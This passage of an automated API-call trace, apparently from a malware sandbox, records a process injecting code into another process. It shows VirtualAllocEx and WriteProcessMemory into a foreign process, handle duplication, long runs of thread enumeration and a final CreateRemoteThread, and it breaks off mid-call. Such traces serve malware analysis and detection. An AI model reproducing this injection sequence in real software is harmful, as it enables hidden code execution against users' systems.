[0105.418] VirtualFree (lpAddress=0xa470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.495] CloseHandle (hObject=0x13b0) returned 1 [0105.495] VirtualAlloc (lpAddress=0x0, dwSize=0x22b000, flAllocationType=0x3000, flProtect=0x4) returned 0x9220000 [0105.496] VirtualAlloc (lpAddress=0x9220000, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x9220000 [0105.496] VirtualAlloc (lpAddress=0x9221000, dwSize=0x1a21ec, flAllocationType=0x1000, flProtect=0x40) returned 0x9221000 [0105.511] VirtualAlloc (lpAddress=0x93c4000, dwSize=0x4e366, flAllocationType=0x1000, flProtect=0x40) returned 0x93c4000 [0105.514] VirtualAlloc (lpAddress=0x9413000, dwSize=0x10a00, flAllocationType=0x1000, flProtect=0x40) returned 0x9413000 [0105.515] VirtualAlloc (lpAddress=0x942c000, dwSize=0x1ee5a, flAllocationType=0x1000, flProtect=0x40) returned 0x942c000 [0105.668] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0x22b000, flAllocationType=0x3000, flProtect=0x40) returned 0x130000 [0105.668] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x130000, lpBuffer=0x9220000*, nSize=0x22b000, lpNumberOfBytesWritten=0x2d5e4f8 | out: lpBuffer=0x9220000*, lpNumberOfBytesWritten=0x2d5e4f8*=0x22b000) returned 1 [0105.731] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x67c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb90, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb90*=0x4) returned 1 [0105.731] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa30, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb88, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb88*=0x8) returned 1 [0105.731] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa44, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb80*=0xc) returned 1 [0105.731] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x49c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb78*=0x10) returned 1 [0105.731] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0xbc0, flAllocationType=0x3000, flProtect=0x4) returned 0xb0000 [0105.731] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0xb0000, lpBuffer=0x2d5ec24*, nSize=0x4, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x2d5ec24*, lpNumberOfBytesWritten=0x2d5ec28*=0x4) returned 1 [0105.731] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0xb0004, lpBuffer=0x4743930*, nSize=0xbbc, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x4743930*, lpNumberOfBytesWritten=0x2d5ec28*=0xbbc) returned 1 [0105.731] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0105.733] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.734] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.734] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.735] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.736] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.737] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.737] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.738] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.739] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.739] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.740] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.741] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.741] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.742] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.743] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.744] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.745] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.746] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.746] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.747] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.748] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.749] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.750] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.751] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.751] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.752] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.753] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.754] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.754] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.755] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.756] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.756] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.757] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.758] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.758] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.759] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.760] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.761] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.761] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.762] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.763] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.763] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.764] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.765] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.766] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.766] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.767] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.768] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.768] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.769] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.770] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.770] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.771] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.772] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.773] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.773] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.774] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.775] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.846] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.846] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.847] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.848] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.848] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.849] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.850] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.850] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.851] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.852] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.852] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.853] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.870] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.870] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.871] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.872] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.873] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.873] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.874] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.875] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.875] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.876] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.877] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.877] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.878] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.914] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.915] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.915] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.916] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.917] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.918] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.918] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.919] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.920] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.921] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.921] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.922] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.923] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.923] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.924] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.925] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.926] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.926] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.927] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.928] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.929] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.929] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.930] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.931] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0105.931] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.121] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.122] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.123] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.124] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.124] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.125] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.126] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.127] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.127] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.128] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.129] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.129] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.130] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.131] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.131] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.132] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.133] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.134] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.135] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.149] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.150] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.152] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.153] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.154] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.155] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.155] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.156] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.157] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.158] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.158] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.159] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.160] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.161] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.161] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.162] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.163] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.163] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.164] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.165] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.165] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.166] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.167] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.168] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.168] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.169] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.170] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.171] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.171] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.172] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.173] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.173] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.174] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.175] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.175] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.176] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.177] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.177] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.178] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.179] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.179] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.180] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.181] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.230] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.231] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.232] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.232] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.233] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.234] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.234] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.235] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.236] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.236] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.237] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.238] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.239] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.239] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.240] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.241] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.241] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.242] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.243] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.243] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.244] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.245] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.246] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.247] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.247] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.248] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.249] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.249] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.250] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.251] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.252] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.252] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.253] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.254] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.254] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.255] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.256] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.256] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.257] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.258] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.259] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.260] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.260] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.261] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.262] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.262] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.263] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.264] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.264] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.265] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.266] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.266] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.267] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.268] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.268] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.269] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.269] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.270] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.271] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.271] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.272] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.273] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.273] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.274] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.287] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.288] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.288] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.289] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.290] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.290] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.292] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.293] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.294] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.294] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.295] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.296] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.296] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.297] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.298] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.298] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.431] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0106.433] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.602] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0106.605] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.774] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0106.776] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0106.971] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0106.985] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0107.149] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0107.154] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0107.383] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0107.386] Thread32First (hSnapshot=0xaf0, lpte=0x2d5eb48) returned 1 [0107.601] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0107.606] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0107.773] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0107.776] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0107.968] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0107.970] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0108.147] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0108.149] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0108.319] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0108.321] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0108.490] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0108.492] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0108.709] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0108.711] Thread32First (hSnapshot=0xaf0, lpte=0x2d5eb48) returned 1 [0108.880] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0108.882] Thread32First (hSnapshot=0xaf0, lpte=0x2d5eb48) returned 1 [0109.129] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0109.140] Thread32First (hSnapshot=0xaf0, lpte=0x2d5eb48) returned 1 [0109.599] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x500 [0109.603] Thread32First (hSnapshot=0x500, lpte=0x2d5eb48) returned 1 [0109.884] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x1390 [0109.886] Thread32First (hSnapshot=0x1390, lpte=0x2d5eb48) returned 1 [0110.066] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x500 [0110.068] Thread32First (hSnapshot=0x500, lpte=0x2d5eb48) returned 1 [0110.344] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x136c [0110.346] Thread32First (hSnapshot=0x136c, lpte=0x2d5eb48) returned 1 [0110.553] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x1390 [0110.556] Thread32First (hSnapshot=0x1390, lpte=0x2d5eb48) returned 1 [0110.617] CreateRemoteThread (in: hProcess=0xef8, lpThreadAttributes=0x2c72b60, dwStackSize=0x0, lpStartAddress=0x175220, lpParameter=0xb0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1390 [0110.618] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13d8, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5ec18, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5ec18*=0x14) returned 1 [0110.618] CloseHandle (hObject=0x1390) returned 1 [0110.618] CloseHandle (hObject=0xef8) returned 1 [0110.618] CloseHandle (hObject=0x13d8) returned 1 [0110.618] Process32NextW (in: 